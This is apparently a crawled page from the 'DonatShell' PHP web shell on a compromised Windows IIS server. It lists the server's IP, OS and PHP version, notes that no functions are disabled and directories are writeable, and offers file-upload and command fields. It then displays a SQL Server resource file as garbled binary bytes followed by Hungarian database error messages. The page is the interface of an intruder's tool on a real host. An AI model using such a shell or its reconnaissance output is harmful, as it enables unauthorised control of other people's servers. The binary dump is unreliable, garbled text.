DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/Resources/1038/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/Resources/1038/sqlevn70.rll
MZ@	!L!This program cannot be run in DOS mode.

$Uu]333c3c3Rich3PEdGÁP" 

.]./@..=.rsrc..@@(@Xpȱ..`.Z*a22b22c22 c22`e22f22h23h3"3j$3-3l13D3tnL3T3xqV3V3$tr3r3\tx3x3t@@t@@DuQ@Q@hv@@(wQ@R@y@@z@@|@@8@@#@#@%@(@D9@:@>@>@A@A@ L@L@DN@X@̔@@@@@@@T@@D@@@@ؤ@@@@@@@@Կ@@x@@@@<*@*@j@k@$@@@@x@@@@@@@@@@@@@@@@@@@@@@@@8@@@@,@,@.@.@3@3@@@@@@@x@@@@@@@@d@@	@	@p	@	@	@	@	@	@	@	@	@	@$	@	@d
	@	@h
@
@L
@
@ 
@"
@%
@%
@`
@
@
@
@
@
@,
@
@D
@
@x@@@@@@#@@$%@@h&@@d*@@+@@P-@@.@@/:@;@0>@>@3N@N@7g@g@7m@m@9p@p@:t@t@$<x@x@ =}@~@?@@B@@B@@C@@tD@@D@@GI
@L
@HN
@P
@NR
@R
@@RT
@T
@TV
@V
@XZ
@Z
@Z]
@^
@\e
@e
@`z
@z
@Ld|
@|
@e~
@~
@g@@i@@xi@@j@@l#@&@\n9@:@Ht@@u@@Dv@@v@@w@@@@Ȉ@@x@@d@@@@@@@@,@@@@P@P@$S@T@8V@W@(w@w@@@@@ܰ@@x@@x@@D@@w@w@@y@y@@@@@X@@`@@H@@@@@@@@dN@N@$@@@@@@0'@'@@@$@@@@X@@@@@@$@@@@x@@T@@@@@@x@@	@@@@7@8@>@>@,G@G@L@L@Q@S@U@k@n@p@r@u@<x@y@t@@@@@@ @@#@@H$@@)@@$.@@T6@@7@@8@@:@@d;@@=@@>@@?@@@@@C@@@D@@E@@F@@FE@G@DG@@H@@TI@@P@@Pq@q@Rt@w@R@@T@@Um@n@DWz@z@X@@0Z@@Z@@[@@\@@\@@\]5@6@]@@\`@@<a	@	@i@@j@@l@@m@@Lo@@Xt@@v@@x@@z@@|@@}@@@@@@ @!@H6@6@@@ܐ@@@@@L@@@@Ж@@@@0@@@@@@0@@@@̵@@@@l@@@@( @ @X"@$@&@'@)@,@x.@.@9@:@@@@`@@@@@@m @t @X @ @ @ @\ @ @p @ @t @ @<<!@<!@[!@f!@8k!@m!@ p!@s!@$!@!@,!@!@/!@!@0"@"@1"@"@2"@"@9"@"@$;"@"@D<"@"@T?#@#@A#@#@C#@#@D'#@'#@F.#@1#@G4#@5#@`K9#@9#@pN#@#@P#@#@R#@#@S#@#@V$@$@W$@$@Y$@$@\$@$@^$@$@p`%@%@d%@%@ e%@%@<g%@%@Th%@%@i%@%@l%@%@$n
&@
&@o&@ &@p"&@&&@y)&@+&@8-&@.&@1&@1&@$3&@E&@G&@G&@M&@M&@Ȗ&@&@&@&@&@&@T&@&@&@&@&@&@&@&@&@&@0&@&@D&@&@&@&@T&@&@T&@&@&@&@ '@'@D(@G(@`(@`(@)@)@@2*@2*@L*@*@,@ ,@0#,@(,@,@,@R-@R-@
e-@e-@
-@-@h-@-@-@-@4.@.@#2@#2@.3@.3@3@3@3@3@!3@3@`#3@3@*3@3@,<4@<4@6@4@X4@07Z4@a4@A6@6@pT6@6@T6@6@XU6@6@U6@6@4V7@7@|V7@7@$WE7@F7@HYH7@I7@ZM7@N7@[P7@\7@\t7@w7@ jy7@7@m7@7@Pt7@7@u7@7@x7@7@(y7@7@z7@7@{7@7@{8@8@|8@8@,}8@8@|}8@8@P9@9@9@9@*9@+9@Ћ-9@09@29@89@h>9@>9@lF9@G9@I9@I9@Xj9@j9@l9@w9@P{9@|9@~9@~9@p:@:@̞:@:@(:@:@:@:@0:@:@̠:@:@:@:@x:@:@Ԣ:@:@\:@:@:@:@>;@>;@ܤS;@S;@@;@;@ئ;@;@;@;@̧;@;@;@;@,;@;@;@;@ȱ;@;@;@;@;@;@;@;@;@;@h;@;@t;@;@;@;@@;@;@\;@;@K<@S<@Z<@Z<@t\<@^<@a<@g<@m<@p<@\s<@s<@u<@u<@<@<@@<@<@<@<@<@<@<@<@<@<@,<@<@<@<@<@<@D<@<@<@<@<@<@x<@<@<@<@=@=@	=@=@,=@=@"=@&=@t&B@&B@6B@6B@H9B@9B@<B@<B@AB@AB@hB@hB@B@B@B@B@B@B@B@B@B@B@B@B@tB@B@B@B@pB@B@B@B@B@B@B@B@	B@B@
C@C@C@C@C@C@	C@C@C@C@&C@C@x+C@ C@3(C@)C@5,C@,C@8/C@/C@p91C@2C@,<5C@5C@=eC@eC@ ?gC@jC@@C@C@DC@C@EC@C@`GC@C@HD@D@JD@D@0MD@D@hND@D@OD@D@<QD@E@pW
E@
E@xYE@E@ZE@E@[E@E@l\E@E@x]E@E@cE@E@gE@E@<kF@F@8nF@F@0oF@F@o1G@4G@rQG@QG@xXG@_G@ybG@eG@|G@G@H@H@%H@%H@9H@9H@@H@@H@I@I@LKJ@KJ@VJ@YJ@\J@\J@$J@J@J@J@tJ@J@J@J@$K@$K@T&K@-K@p+K@K@0K@K@l4!N@$N@t<"P@"P@|?,P@?P@(AAP@QP@MUP@hP@XmP@mP@fuP@uP@PgxP@P@gP@P@oP@P@pP@P@TuP@P@wP@P@}Q@Q@NQ@PQ@X
R@
R@`R@R@܇OR@OR@SR@UR@`R@`R@ċdR@dR@4mR@mR@R@R@ԎR@R@PR@R@R@R@S@S@S@S@t-S@-S@L4S@4S@<S@FS@[S@[S@eS@pS@{S@{S@Բ~S@S@S@S@S@S@S@S@LS@S@S@S@S@S@0S@S@S@T@T@T@T@T@(T@(T@XT@T@ T@T@T@T@T@T@T@T@T@T@U@U@DU@U@U@U@|	U@
U@
U@
U@0U@U@1U@1U@`:U@:U@HQU@QU@]U@^U@xaU@aU@dU@dU@W@W@X@X@XX@X@h0X@0X@T8X@9X@lY@Y@HY@Y@Y@Y@h!Y@)Y@DY@EY@'GY@IY@,MY@MY@`4yY@yY@t6a@a@49xd@xd@9d@d@:e@e@p<e@e@=e@e@>e@e@L@e@e@@e@e@pAe@e@DBe@e@Ce@e@Ie@e@pJe@e@Je@e@Ke@e@Le@e@Oe@e@Qe@e@Ue@e@Ye@e@ae@e@dj@j@@gj@j@hj@j@ivm@wm@kzm@m@mm@m@m@m@dm@m@lm@m@m@m@m@m@Pm@m@<m@m@)n@)n@kt@kt@Fu@Fu@Ku@Ku@0Xu@Yu@`u@`u@gu@iu@ou@ou@hqu@qu@psu@tu@vu@vu@|xu@xu@{u@|u@~u@u@Hu@u@Xu@u@u@u@u@u@ty@y@}@}@}@}@}@}@}@}@}@}@3}@3}@@@@@!@"@P8@9@<=@>@B@D@LF@H@|X@Z@d@f@@@$@@`@Á@,Ɓ@Ɓ@	ʁ@ʁ@l@@H@@@@@@@@@@h@@P"@@$@É@ 'Ɖ@Ɖ@t1ɉ@ʉ@L2ۉ@ۉ@(:@@;I@K@DM@N@xDQ@S@DW@W@@EY@Z@\Eg@h@Eo@u@E@@H@@xJB@B@KX@_@Nb@c@l[e@e@H_r@t@`@@g@@d@@|@@@@@@@@@@L@@@@<@@,Ҡ@Ҡ@p֠@ؠ@@@@@@@$X@X@@@Leuw\($	8	X&	-	>	A	'F	))P	,B|P	DPf	Rnt	h	X				\	,		d			
8		L
!,
#&
((t
+.
1C
FPl&
SW(/
Y[@3
]^$9
`c;
eg@
iiB
nn,E
stF
H
J
Q
LU
W
Z
c
!"d
58|e
==q
?@r
MMu
v
w
z
z
<}
|

(
ȫ

p
<

8

l

(

D
)$
+K
MMLQQ__ai0$'(/y0Wa|xЗ$pLРHX@@X	p8+X--/2T48;BmnD$pp(s}) 558:;?@BxKhMOST]iqwP~4(58<<H>E D кdܾXD	
				'	,	/	1	L	N	_	x		
		
		X
		
		d!
		|)
		\+
		p-
	
L0


9



;


I


`L


L


O
$
$
P
&
'
pQ
)
)
HS
C
C
HT


tU


U


Z


_


a


8d


e


xo


p


\v


L





D


ԃ








H


t






Л
h
D



h
X









)8
+3
55
79<=?IKMlOOQTWW\YY(![[!]f"hh1jlL2noD5qs7uw\;z|=XCD\N,XZ(`pbnp\w0x@(hLQ
Q
lS
S
U
U
W
Y
[
\
ԯg
g
pj
j
m
m
q
q
s
s
u
y
}
}


$

H  X')+,1577uwy~LT0p$P		X=@BBDFHHOxQR#UU%Xc@&lv8xRhdz0,	2@446Q\Xehjj(ppttt0vv zz`T `"&+-,4L@F`TU33\560^88_=B\aDKgMMpOf`qhi$dp(`P]]ch\
P!$&D(-
/AEH'J[+]a`DcK`DxT0خpDX''))|169=x?B$DFJK,MODTTlmqqvwz	(Tl|.\4}~KLeqh\ <܍ԏhpЖX@ |اĩ

(аX|X8loy{{}4`<EJ]gd~̞8,h,- <>|SSWY\"l)+<j4dp7a0pl!"\,/55\
P#&(ELRS0\\]``8l8nTpDuHvv{Lp$ <Ԥ	P"57:yl @<T8@%p&'*8=@,A,E!!F/5<G88@Q;?QAT@DdX   H  v    !  81  lA  W!!tX	!!Y!!$d!!f!!g!!k'!'!8l)!*!l,!/!m2!3!\p5!6!$s8!8!t:!:!t=!C!uE!Z!|g!j!@n!n!u!u!!!,!!!!!!ء!!(!!!!̸!!!!t!!!!!!!! !!!!0!!P"	"L
""(""!""2""3""X8""f""j"#@l##<###&#)#-#2#3#x6#8#:#?#ؼ######P####L##$$$$	$$$$4$$T$Z$\$p$lr$$$$,
$$%%6% %6"%&%<(%C%P@%%g%%h%%m%%̙%%%%%%%%%%x%%@%&<&&&&P&&!&!&L'&(&,&,&/&0&2&2&F&F&xI&L&N&[&&&P&&&&x&&&&&&d&&4&&&&	&&&&P&&&&&&@&&''X''!%','`)0'3'h-:':'/D'J'0N'U'6a'a'<e'h'`=t''4A''_''$`''0s''P''؄((|<(C(H(J(L(_(0a(c())x))))|)+)i)t)y))4))))))))H)*!*"*T0*1*b**e** *+H++$+(+l\+e++,,,
,,p!,",(*,*,x1,9, ,,,,\9,,x:,-<-!-hQ-Q-yS-S-yU-^-za-d-0f-i---------..4}.~.T..E/E/H/H/422422d22
22t
2"2$2+22222|E3K3	U3U3
W3q3s3w3$y3~33333\33=4?466 6666%66x766 >66>66D66pF77LH77I774J77|]7#7D^%7,7b.7.7`i0717i77;7k?7@7nB7D7pG7G78rJ7L7rO7O7ux7x7v77Hv77x77y77|77P}77}77~77H77̅7777778888أ88h888,8D68@84J8^84h8j8r8s8@88|8888d888889999)9,9,9#1919$99=9%?9?9(,A9E9-H9H9`1J9L9,2N9i95k9k9Tx9z9U99(Y::Z::l\::b::(d::d::xf::Tg::g::i::i::,k::4m::o::p::t::Lv::w::4y::P{::`|:;~;;;;;;;";%;%;';=;`?;K;N;R; T;V;hX;X;d[;i;l;s;v;{;L};;4;;(;;;;;;;;H;;;;;;\;;T;;;;t;;x;;;;\	;;;;|;;(;;;;;;0;;;<8<<!<'<(4)<6<|I8<8<S:<><XTA<E<WG<J<ZX<X<][<[<T^_<_<<_h<j<(`l<l<<ar<r<az<z<Xb<<b<<f<< i<< m<<p<<q<<u<<v<<}<<t<<====D(=/=BB
BB$BB؎BBB%B'B*B-B/B1B5B7B8B:B;BH=B@B(BBFBd`B`BdBdBfBgBdiBmBBBıBBhBBBBBBdBBԺBBBB8BBlBB`BBdBBBBBB<BBCC0CC4CC!C'C*C+C-C.C0C0C\3C4C`7C8C0CCCC CC CC CC DD DD VEYE EE EEL EE  EE EE EE, EE<. EE7 EE< EE@ EEB RFRFC FF$E GG0X "G"GTY `GaGLZ gGgGa GGd HH\g HH`i H$Hj &H'Hlz 2H3H| 5H8Hx ;H?H< HH >I@Iȑ CIEI HIZI \I`I bIcI fIfI kIlI oIoI qI|I$ II II II II IIH II IIt IIt II II( II II 8J<J ZJ[J!iJJ!JJ!JJ!KKX!KK&!KK`)!K"LK!%NBN`!DNIN!KNfN!hNoN`!qNqN!tNtNP!vN}N!NN!P!PD!#P$P!&P+Ph!iPlPp!nPtPX"vPwP"PP"PPL"PP)"PPtf"PP"PP,"PPԨ"QQx"@QMQ"QQQQ"RR"RR\"RHR"NRNR#PRRR#VR_R#aRcR8#qRRl#RR h#RRj#RRq#RS,|#SS#S,S#.S3S#5S;S#GSZS #\SdS|#qSzS`#|S}S#SS|#SS#SS
$SSL$SS$SS$SS$$SS&$SS($SS)$SS*$SS<,$SST4$TTL5$
TT5$TT49$TTD>$TT<C$!T'T(E$)T0TQ$9T9Th]$<T<T]$?T?Ta$ATHTxd$JTQTt$]TaT,$cTTL$TT$TT$TTh$TT%TT%TT%TTL	%TT	%TT%TTH%TT%TT%TTd%TU%UUP%UUR%UUXU%UU4W%UUX%U0Ut^%2U9U0%;UDU %FUPU|%RUXU%ZU\U(%_U`U%bUcU8%eUUL%UVeVt&WW&WXl%&XX7&X/XC&2X7X^&:X:Xp&YYXs&YYy&YY$& Y Y\&+Y6Y8&8Y<Y&BYCY&FYFY,&JYLY&NYQYl&uYxYĶ&zYY&YY&YY$&YY&YY&YY&YYL!'YYY'<ZMZ4Z'ZZTa'[[g'[[j'[[k'[[k'[[@l'[[l'[[l'[[\m'\\m'\\<n'#\$\n']]To'aaLq'aat'aap}'aa'dd'dd@'d$d''d,d'.d3d,'5d:dĦ'@d@d'cdcdH'edqd'sdwdȵ'ydd'dd'ee'ee@'ee'ee'ee'ee'ee'ee'eeX'ee'ee'ee$'ee'ee'ee$'ee|'ee$'yii'ii'ii@(ii (ii\(ij>(jj$F(	jjH(jjN(jjU(j%j,Z('jJja(LjZj}(`mum(xmymP(mm(mmԨ(mm(mm(mm(mm(mm(IqIq(KqLq(itjt(3u9u (DuDu(GuJu(LuWu|([u_uH)aueu\)junu8)pupuX')uuuu))wuwu,)yuzu0)}u}ul5)uu8)uu9)uu$C)uu F)uuLL)yyL)yyN)}}TR)	}}R)}}Z)}}_) }2}L`)4}7}o)r){)
 x)#$)-7):<)?A )EE)KK)MWԺ)[c@)gi)P)))āŁp)ǁɁ)ˁہ))y)*"*t$*фԄ9*ڄ0<*xC*58PD*UU\H*ĈH*O*`P*Q*U*m*o***ܨ***ĉʼnd*ȉȉ*ˉ̉*Ήډ*܉|*0++
+(+#+%+0+2+LLh[+TU[+[f\+in]+ _+te+e+qro+@X$q+\g|~+iv+xz+|p+++œ՜+לٜ0+ݜ+L+++$+	+mzh+5<8+>W+YYp+]a+di,q,8,,,ܞ< ,hQ,U,(A0\,CW0,`a,dd\-fq8	-u05-<\-b-x-,-D---X-ܥ-ܨ-@-Ѡ-Ӡՠ.٠.(.PC.S.Z.TW^.Ygpb.Pm.ԡo.ɯЯ̒.֯@.Nincs

 Kiszolgl

(Feladattvtel

$Bejelentkezs

Nincs

0Biztonsgi msolat

SQLsnmp

Mtrix

fogads

olvass

8USE adatbzis-utasts

Teljrs, fggvny vagy esemnyindt

Xindexelt nzetek s/vagy szmtott oszlopok indexei s/vagy szqrt indexek s/vagy lekrdezsrtestsek s/vagy XML adattpus metdusok s/vagy trbeliindex-mqveletek

8trbeliindex-mqveletek

$INTO zradk

4SELECT INTO utasts

kapcsol

(eltolskapcsol

0statisztikakapcsol

 fggvnynv

<varbinary (128) NOT NULL

paramter

4konverzispecifikci

index

tbla

adatbzis

eljrs

$esemnyindt

nzet

(alaprtelmezett

szably

$rendszertbla

,ismeretlen tpus

$SET kapcsol

oszlop

tpus

$karakterlnc

 egsz szm

azonost

szm

indexek

objektum

8beptett fggvny neve

0aggregtumfggvny

XML-INDEX

(CLR-beli tpus

0XML-sma-gyqjtemny

(BPVTETT INDEX

$TRBELI INDEX

trbeli

(segdtervkteg

@geometriai vagy geogrfiai

4beszlgetspriorits

$tblacsoport

$hozzrendels

,kurzordeklarci

,repliklsi szqrQ

4vltoz-hozzrendels

 statisztika

fjl

 fjlcsoport

 kiszolgl

rs

fggvny

0adatbzis-rendezs

eldobs

mdosts

 zenettpus

kivonat

$szolgltats

(vrakozsi sor

4tbla rtkq fggvny

,esemnyrtests

szinonima

zrols

szl

4kommunikcis puffer

hkzs nyelvi futtatkrnyezet kritikus szakasza

$partcisma

 ltrehozs

tvonal

@tvoli szolgltatsi kts

$kezdemnyezQ

Cl

Dszinkronizlsi gazdaobjektum

Dltalnos megvrhat objektum

4alkalmazs-szerepkr

sma

 felhasznl

<bejelentkezsi azonost

 tanstvny

szerepkr

keress

vgpont

$sql:variable

 sql:column

 XML-nvtr

 szerelvny

<teljes szveges katalgus

tvitel

dHalmozd vrakozsi idQ (ms) msodpercenknt

XMegkezdett vrakozsok msodpercenknt

DFolyamatban lvQ vrakozsok

@tlagos vrakozsi idQ (ms)

hHalmozd vgrehajtsi idQ (ms) msodpercenknt

\Megkezdett vgrehajtsok msodpercenknt

HFolyamatban lvQ vgrehajtsok

Hltalnos vgrehajtsi idQ (ms)

8INSERT SELECT utasts

<tbla vagy indexelt nzet

sszetevQ

FIPS-figyelmeztets: Implicit konverzi errQl: %1!s!; erre: %2!s!.

$A(z)  %1!s!  eljrs NULL llapottal prblt visszatrni, ez azonban nem engedlyezett. Ehelyett 0-s szm llapot lesz a visszatrsi rtk.

Figyelmeztets: A(z)  %1!s!  lebegQpontos rtk tl alacsony, ezrt 0-knt lesz rtelmezve.

A NOCOUNT utasts nem llthat OFF (kikapcsolt) llapotra az esemnyindt vgrehajtsn bell, mert a  disallow_results_from_triggers  kiszolgli kapcsol igaz rtkq, vagy a LOGON esemnyindt vgrehajtsn bell van a rendszer.

fn_trace_gettable: A 165-s szm esemnyhez tartoz nyomkvetsi adatok XML-konverzija sikertelen.

fn_trace_gettable: A nyomkvetsi adatok XML-konverzija rzszlas mdban nem tmogatott.

Nem sikerlt vrakozsi sorba helyezni a(z)  %1!s!  adatbzisban tallhat rva sorkszletek adattiszttsi csomagjait. Lehetsges, hogy nmi lemezterlet feleslegesen van felhasznlva. Az adatbzis jraindtsakor a rendszer jbl megksrli az adattiszttst.

Kivtel trtnt a RowsetNewSS 0x%1!s! destruktorban. A hiba a tmeges beszrsi mqveletek sorn hasznlt, elQre lefoglalt blokkok felszabadtshoz kapcsoldhat. A problma megoldshoz indtsa jra a kiszolglt.

A(z) %1!s!. partciazonostj munkatbla %2!s! megismtelt prblkozs utn sikeresen el lett dobva.

Hiba trtnt a(z) %1!s!. partciazonostj munkatbla eldobsa sorn.

Tbbszri megismtelt ksrlet utn sem sikerlt eldobni a(z) %1!s!. partciazonostj munkatblt. A munkatbla meg lett jellve elhalasztott eldobsra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z) %1!s! partciazonost aktv sorkszlete a kteg vgn lett megtallva. Ez a hiba helytelen kivtelkezelsre utalhat. Hasznlja az SQL Server Management Studio krnyezet aktulis tevkenysgek ablakt vagy a Transact-SQL KILL utastst a hiba felmerlsrt felelQs folyamatazonost (SPID) megszaktshoz.

\Hiba ([%1!s!, %2!s!, %3!s!]) trtnt, mikzben a rendszer megprblta eldobni a(z) %5!s! partciazonostj munkatblhoz tartoz, %4!s! azonostj foglalsi egysget.

`A kiszolgl szmra nem elegendQ a virtulis cmtartomny vagy a gp szmra a virtulis memria. A fenntartott memria a rendszerinduls ta %1!s! alkalommal volt hasznlva. Szaktsa meg a lekrdezst s futtassa azt jbl, cskkentse a kiszolgl terhelst vagy szaktson meg ms alkalmazsokat.

Pszimullt hiba (csak DEBUG esetn)

4visszallts fggQen

naplzsi hiba (egy lap lemezrQl val olvassa nem ment t az alapvetQ integritsi ellenQrzseken)

l(nincs lemez vagy rossz lemez van a meghajtban)

\az tvitt bjtok mennyisge nem elegendQ

8A(z)  %1!s!  fjl %2!s!. eltolsnl trtnQ olvassa sikeresen megtrtnt, %3!s! sikertelen prblkozs utn. A sikertelen ksrletek a kvetkezQ hibt eredmnyeztk: %4!s!. Az SQL Server hibanapljban s a rendszer esemnynapljban tallhat zenetek tovbbi rszletekkel szolglhatnak. Ez a hiba veszlyezteti az adatbzis integritst, ezrt ki kell javtani. Vgezze el a teljes adatbzis konzisztencia-ellenQrzst (DBCC CHECKDB). Ezt a hibt sok tnyezQ okozhatja. Tovbbi informci az SQL Server online knyvekben tallhat.

rvnytelen pageid azonost (vrt: %1!s!:%2!s!; tnyleges: %3!s!:%4!s!)

<elavult lap (a lap olvassa olyan naplsorszmot [LSN] [%1!s!:%2!s!:%3!s!] adott eredmnyl, amely rgebbi a legutbb rt sorszmnl [%4!s!:%5!s!:%6!s!])

$Az SQL Server a(z) [%4!s!]. (%5!s!) adatbzis [%3!s!]. fjljnl %1!s! olyan ki-/bemeneti krelmet szlelt, amelynek %2!s! msodpercnl tovbb tartott a vgrehajtsa. Az opercis rendszer fjlmutatja: 0x%6!s!. A legutbbi hossz ki-/bemeneti krelem eltolsa: %7!s!.

IdQtllps trtnt a pufferzrolsra val vrakozs sorn. Tpus: %1!s!, bp: %2!s!, lap: %3!s!:%4!s!, stat: %5!s!, adatbzis azonostja: %6!s!, foglalsi egysg azonostja: %7!s!%8!s!, feladat: 0x%9!s! : %10!s!, vrakozsi idQ: %11!s! msodperc, jelzQk: 0x%12!s!, tulajdonos feladat: 0x%13!s!. A rendszer tovbb vr.

IdQtllps trtnt a pufferzrolsra val vrakozs sorn. Tpus: %1!s!, bp: %2!s!, lap: %3!s!:%4!s!, stat: %5!s!, adatbzis azonostja: %6!s!, foglalsi egysg azonostja: %7!s!%8!s!, feladat: 0x%9!s! : %10!s!, vrakozsi idQ: %11!s! msodperc, jelzQk: 0x%12!s!, tulajdonos feladat: 0x%13!s!. A rendszer nem vr tovbb.

IdQtllps trtnt a zrolsra val vrakozs sorn. Osztly:  %1!s! , azonost: %2!s!, tpus: %3!s!, feladat: 0x%4!s! : %5!s!, vrakozsi idQ: %6!s! msodperc, jelzQk: 0x%7!s!, tulajdonos feladat: 0x%8!s!. A rendszer tovbb vr.

pNagy lapok vannak hasznlatban a memriakezelQben.

tZrolt lapok vannak hasznlatban a memriakezelQben.

`%1!s! MB mretq nagy lapmemria lefoglalva.

ta lap OFFLINE fjlban tallhat, amely nem olvashat

|Hagyomnyos memria van hasznlatban a memriakezelQben.

A zrols teljestse nem sikerlt, mert tl sok egyidejq zrols van letben. Tpus: %1!s!, feladat: 0x%2!s! : %3!s!

 A gp tmogatja a memriahibk utni helyrelltst. Engedlyezve van az SQL memriavdelem a memriasrlsi hibk utni helyrelltshoz.

8A rendszer kijavthatatlan hardveres memriasrlst szlelt. A rendszer instabill vlhat. Tovbbi informcirt tekintse t a Windows Esemnynaplt.

Az SQL Server hardveres memriasrlst szlelt a kvetkezQ adatbzisban:  %1!s! , fjlazonost: %2!s!, lapazonost: %3!s!, memriacm: 0x%4!s!. A rendszer sikeresen helyrelltotta a lapot.

TA(z) %2!s! adatbzisban tallhat %1!s! fjlcsoport nem rhetQ el, mert az a kvetkezQ: %3!s!. A fjlcsoport elrhetQv ttelhez lltsa vissza vagy mdostsa azt.

A(z)  %1!s!  adatbzis %3!s! szintrQl %4!s! szintre frissti a(z)  %2!s!  parancsprogramot.

 %1!s!  felhasznl az adatbzis parancsprogramszintjnek %2!s! bejegyzst a kvetkezQ rtkqre mdostja: %3!s!.

A(z)  %1!s!  adatbzis konvertlsa folyamatban van %2!s! verzirl a jelenlegi verzira: %3!s!.

A(z)  %1!s!  adatbzis futtatja a frisstsi lpst, a(z) %2!s! verzirl a(z) %3!s! verzira.

Az erQforrs-adatbzis buildverziszma: %1!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Figyelmeztets: A(z)  %2!s!  adatbzis  sys  (principal_id = %1!s!) felhasznlja t lett nevezve a kvetkezQre:  %3!s! . Az SQL Server e verzijban a  sys  fenntartott felhasznl- vagy smanv.

Figyelmeztets: A(z)  %4!s!  adatbzis %3!s! azonostj objektumnak  %1!s!  indexe (index_id = %2!s!) t lett nevezve a(z)  %5!s!  nvre, mert a korbbi nevet ugyanabban az objektumban egy msik index hasznlja.

Figyelmeztets: A(z)  %3!s!  adatbzisban tallhat  %1!s!  elsQdleges kulcs vagy Unique zradk (object_id = %2!s!) t lett nevezve a(z)  %4!s!  nvre, mert a hozz tartoz index tnevezsre kerlt.

Figyelmeztets: A(z)  %1!s!  adatbzis gyans jellst kapott, a frissts kzben vgrehajtott bizonyos mqveletek miatt. Tovbbi informci a hibanaplban s az esemnynaplban olvashat. Az adatbzis online llapotba helyezshez hasznlja az ALTER DATABASE utastst. Az adatbzis restricted_user llapotban vlik online llapotv.

tFigyelmeztets:  %1!s!  rendszerfelhasznlt a rendszer nem tallta a(z)  %2!s!  adatbzisban, ezrt visszalltotta. Erre a felhasznlra szksg van az SQL Server mqkdtetshez.

Figyelmeztets: Az oszlopok nullrtk-elfogadsval kapcsolatban a rendszer inkonzisztencit szlelt a(z)  %4!s!  adatbzisban tallhat, %3!s! azonostj objektum  %1!s!  indexnek (index_id = %2!s!) metaadataiban. Lehetsges, hogy az index srlt. A konzisztencia ellenQrzshez futtassa a DBCC CHECKTABLE utastst.

Figyelmeztets: A(z)  %2!s!  adatbzisban tallhat  %1!s!  szerelvny t lett nevezve a(z)  %3!s!  nvre, mert a szerelvny neve tkzik az SQL Server e verzijnak egy rendszerszerelvnyvel.

Figyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  indexe le lett tiltva, mert a hozz kttt XML-adatok kztt az xs:date s az xs:dateTime rtkei negatvak lehetnek, s ezt a rendszer mr nem tmogatja.

Figyelmeztets: A(z)  %2!s!  smagyqjtemny  %1!s!  tpusnak XML-rtkkorltozsa frisstve lett errQl:  %3!s! , erre:  %4!s! , mert az SQL Server nem tmogatja az xs:date s xs:dateTime tpus rtkekben a negatv vek hasznlatt.

4Figyelmeztets: A(z)  %2!s!  smagyqjtemny  %1!s!  XML-elemnek vagy -attribtumnak alaprtelmezett vagy rgztett rtke frisstve lett  %3!s!  rtkrQl  %4!s!  rtkre, mert az SQL Server nem tmogatja az xs:date s xs:dateTime tpus rtkekben a negatv vek hasznlatt.

xFigyelmeztets: Lehetsges, hogy a(z)  %1!s!.%2!s!.%3!s!  XML-oszlopban tallhat XML-pldnyok xs:date vagy xs:dateTime tpus, negatv, egyszerq tpusrtkeket tartalmaznak. Ezeken az XML-pldnyokon nem lehet futtatni az XQuery nyelvet, illetve nem lehet elsQdleges vagy szelektv XML-indexet pteni rajtuk.

A rendszer az erQforrs-adatbzist kt klnbzQ helyen is szlelte. A rendszer az sqlservr.exe fjllal egy knyvtrban ( %1!s! ) lvQ erQforrs-adatbzist csatolja, nem pedig a  %2!s!  knyvtrban lvQ, jelenleg csatolt erQforrs-adatbzist.

Nem sikerlt csatolni az sqlservr.exe fjllal egy mappban ( %1!s! ) lvQ erQforrs-adatbzist, mert az adatbzisfjlok nem lteznek.

A rendszerobjektumok nem frissthetQk a(z)  %1!s!  adatbzisban, mert az adatbzis csak olvashat.

Figyelmeztets: Nem tallhat a(z)  %1!s!  korltozshoz trstott index, object_id:  %2!s! , adatbzis:  %3!s! .

Az adatbzis-kezelQ a kvetkezQ verzij cladatbzist hasznlja majd: %1!s!.

A(z)  %1!s!  fjl sikeresen teleptve lett a kvetkezQ mappba:  %2!s! .

FIPS-figyelmeztets: Nem ANSI kdols eljrs:  %2!s! , %1!s!. sor.

FIPS-figyelmeztets: Nem ANSI kdols zradk:  %2!s! , %1!s!. sor.

FIPS-figyelmeztets: Nem ANSI kdols fggvny:  %2!s! , %1!s!. sor.

FIPS-figyelmeztets: A kvetkezQ azonost hossza meghaladja a 18 karaktert:  %1!s! .

Figyelmeztets. %1!s!. sor: A(z)  %2!s!  kapcsol elavult s nincs hatsa.

Hiba trtnt a munkatbla trolsi egysgnek lefoglalsa kzben. Lehetsges, hogy a TEMPDB adatbzis %1!s! egysge elveszett.

Nem sikerlt csonkolni a kvetkezQt: AppendOnlyStorageUnit 0x%1!s!. A rendszer a kvetkezQ alkalommal is megksrli a csonktst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az indtskor nem foglalhat le %1!s! zrols. A rendszer visszavlt %2!s! zrolshoz, s bekapcsolja a dinamikus zrolsfoglalst. Az indts sorn a maximlisan megengedett memriahasznlat %3!s! KB.

hA zrols nem lett naplzva: %1!s!. Md: %2!s!.

Az adatbzis-tkrzsi funkci megksrli kijavtani a(z)  %2!s!  adatbzis %1!s! jelq fizikai lapjt. Ehhez msolatot kr a partnertQl.

PAz adatbzis-tkrzs jelenleg aktv, az elsQdleges pldny a kvetkezQ:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

@Az adatbzis-tkrzs jelenleg aktv, a tkrpldny a kvetkezQ:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  adatbzis tkrzse jelenleg inaktv. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  adatbzis tkrzse megszakadt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

